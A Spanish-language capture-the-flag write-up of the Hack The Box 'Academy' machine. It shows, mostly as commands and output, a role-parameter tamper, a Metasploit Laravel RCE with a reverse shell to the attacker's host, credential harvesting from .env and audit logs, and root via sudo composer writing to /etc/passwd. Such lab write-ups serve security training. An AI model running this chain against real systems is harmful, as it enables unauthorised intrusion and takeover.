Nmap
Puerto 80
Directorios
dev-staging-01.academy.htb
Explotación
Post explotación
Enumeración
Linpeas
Escala de privilegios
Welcome to the Academy writeup from HTB
I hope you enjoy reading it. Any feedback will be appreciated! @x4v1l0k
Academy
tags: HTB
Easy
Linux
Platform: Hackthebox
Difficult: Easy
S.O.: Linux
Link: Click here
Enumeración
Nmap
$ nmap -A -Pn -p- 10.10.10.215
Starting Nmap 7.80 ( https://nmap.org ) at 2020-11-08 08:52 CET
Nmap scan report for 10.10.10.215
Host is up (0.034s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://academy.htb/
33060/tcp open mysqlx?
| fingerprint-strings:
| DNSStatusRequestTCP, LDAPSearchReq, NotesRPC, SSLSessionReq, TLSSessionReq, X11Probe, afp:
| Invalid message
|_ HY000
Puerto 80
Al intentar acceder desde el navegador, me redirige automáticamente al nombre de dominio academy.htb por lo que, tenemos que añadirlo al archivo /etc/hosts.
En la página web, nos podemos registrar y acceder con el usuario que deseemos.
Directorios
$ gobuster dir -u http://academy.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php -t 50
===============================================================
/images (Status: 301)
/register.php (Status: 200)
/admin.php (Status: 200)
/index.php (Status: 200)
/login.php (Status: 200)
/config.php (Status: 200)
/home.php (Status: 302)
/server-status (Status: 403)
===============================================================
Dentro de la URL http://academy.htb/admin.php tenemos un formulario de login para la administración.
Podemos ver que en el proceso de registro, si lo interceptamos con Burp, hay un parámetro llamado rolid que tiene el valor 0. Si lo interceptamos y lo modificamos a 1, podemos tener acceso al login de administración.
Una vez autenticados, podemos ver en la última línea un subdominio nuevo "Fix issue with dev-staging-01.academy.htb". Lo añadimos al archivo hosts y accedemos a el.
dev-staging-01.academy.htb
Si nos fijamos en las variables de entorno vemos que el APP_NAME es Laravel y que tenemos el APP_KEY. Metasploit tiene un módulo RCE para esta aplicación.
Explotación
msf5 > search laravel
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/unix/http/laravel_token_unserialize_exec 2018-08-07 excellent Yes PHP Laravel Framework token Unserialize Remote Command Execution
msf5 > use 0
msf5 exploit(unix/http/laravel_token_unserialize_exec) > set app_key dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0=
msf5 exploit(unix/http/laravel_token_unserialize_exec) > set rhosts 10.10.10.215
msf5 exploit(unix/http/laravel_token_unserialize_exec) > set vhost dev-staging-01.academy.htb
msf5 exploit(unix/http/laravel_token_unserialize_exec) > set lhost 10.10.14.35
msf5 exploit(unix/http/laravel_token_unserialize_exec) > set lport 8787
msf5 exploit(unix/http/laravel_token_unserialize_exec) > run
[*] Started reverse TCP handler on 10.10.14.35:8787
[*] Command shell session 1 opened (10.10.14.35:8787 -> 10.10.10.215:43470) at 2020-11-08 11:04:45 +0100
python3 -c "import pty; pty.spawn('/bin/bash')"
www-data@academy:/var/www/html/htb-academy-dev-01/public$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Post explotación
Enumeración
Linpeas
[+] Finding possible password variables inside /home /var/www /var/backups /tmp /etc /root /mnt (limit 70)
/var/www/html/academy/.env:APP_NAME=Laravel
/var/www/html/academy/.env:DB_CONNECTION=mysql
/var/www/html/academy/.env:DB_DATABASE=academy
/var/www/html/academy/.env:DB_HOST=127.0.0.1
/var/www/html/academy/.env:DB_PORT=3306
/var/www/html/academy/.env:DB_USERNAME=dev
Si vemos el contenido del archivo, encontramos una contraseña.
www-data@academy:/tmp/.htbuser$ cat /var/www/html/academy/.env
DB_CONNECTION=mysql
DB_HOST=127.0.0.1
DB_PORT=3306
DB_DATABASE=academy
DB_USERNAME=dev
DB_PASSWORD=mySup3rP4s5w0rd!!
Probando SSH con la contraseña con varios usuarios de los que hay en el sistema, encuentro que es válido para el usuario cry0l1t3
Ahora podemos ver que pertenecemos al grupo adm el cual tiene acceso de lectura al directorio /var/logs
Escala de privilegios
En la carpeta /var/log/audit si ejecutamos el siguiente comando encontramos valores hexadecimales que al pasarlos a ascii son instrucciones.
grep -nv /usr/sbin/cron /var/log/audit/audit.log* | grep cmd
El hexadecimal al pasarlo a ascii sale lo siguiente
/usr/bin/composer exec bash
/usr/bin/composer exec sh
composer exec bash -c "bash"
/usr/bin/composer exec bash -c "bash"
/usr/bin/composer exec cp /bin/sh pwn; chmod u+s ./pwn
sudo -K
Además, entre todas las líneas de datos hexadecimales, podemos encontrar la clave de "mrb3n" (Línea 32)
cry0l1t3@academy:/var/log/audit$ python3 -c "print(bytes.fromhex('7375206D7262336E0A').decode('utf-8'))"
su mrb3n
cry0l1t3@academy:/var/log/audit$ python3 -c "print(bytes.fromhex('6D7262336E5F41634064336D79210A').decode('utf-8'))"
mrb3n_Ac@d3my!
Tan solo tenemos que hacer su mrb3n
e introducir su contraseña.
Ahora, si hacemos sudo -l podemos ver un camino para ser root.
mrb3n@academy:/var/log/audit$ sudo -l
[sudo] password for mrb3n:
Matching Defaults entries for mrb3n on academy:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User mrb3n may run the following commands on academy:
(ALL) /usr/bin/composer
Sabiendo esto, deberíamos poder ejecutar comandos como root usando composer.
mrb3n@academy:/var/www/html/academy$ sudo /usr/bin/composer exec 'echo "x4v1l0k:x4sRFbMkq2HHM:0:0:root:/root:/bin/bash" >> /etc/passwd'
[sudo] password for mrb3n:
mrb3n@academy:/var/www/html/academy$ tail -n 1 /etc/passwd
x4v1l0k:x4sRFbMkq2HHM:0:0:root:/root:/bin/bash
Tenemos un usuario con privilegios root inyectado!! vamos a autenticarnos con el!
mrb3n@academy:/var/www/html/academy$ su x4v1l0k
Password:
root@academy:/var/www/html/academy# cd /root
root@academy:~# ls
academy.txt root.txt snap
root@academy:~#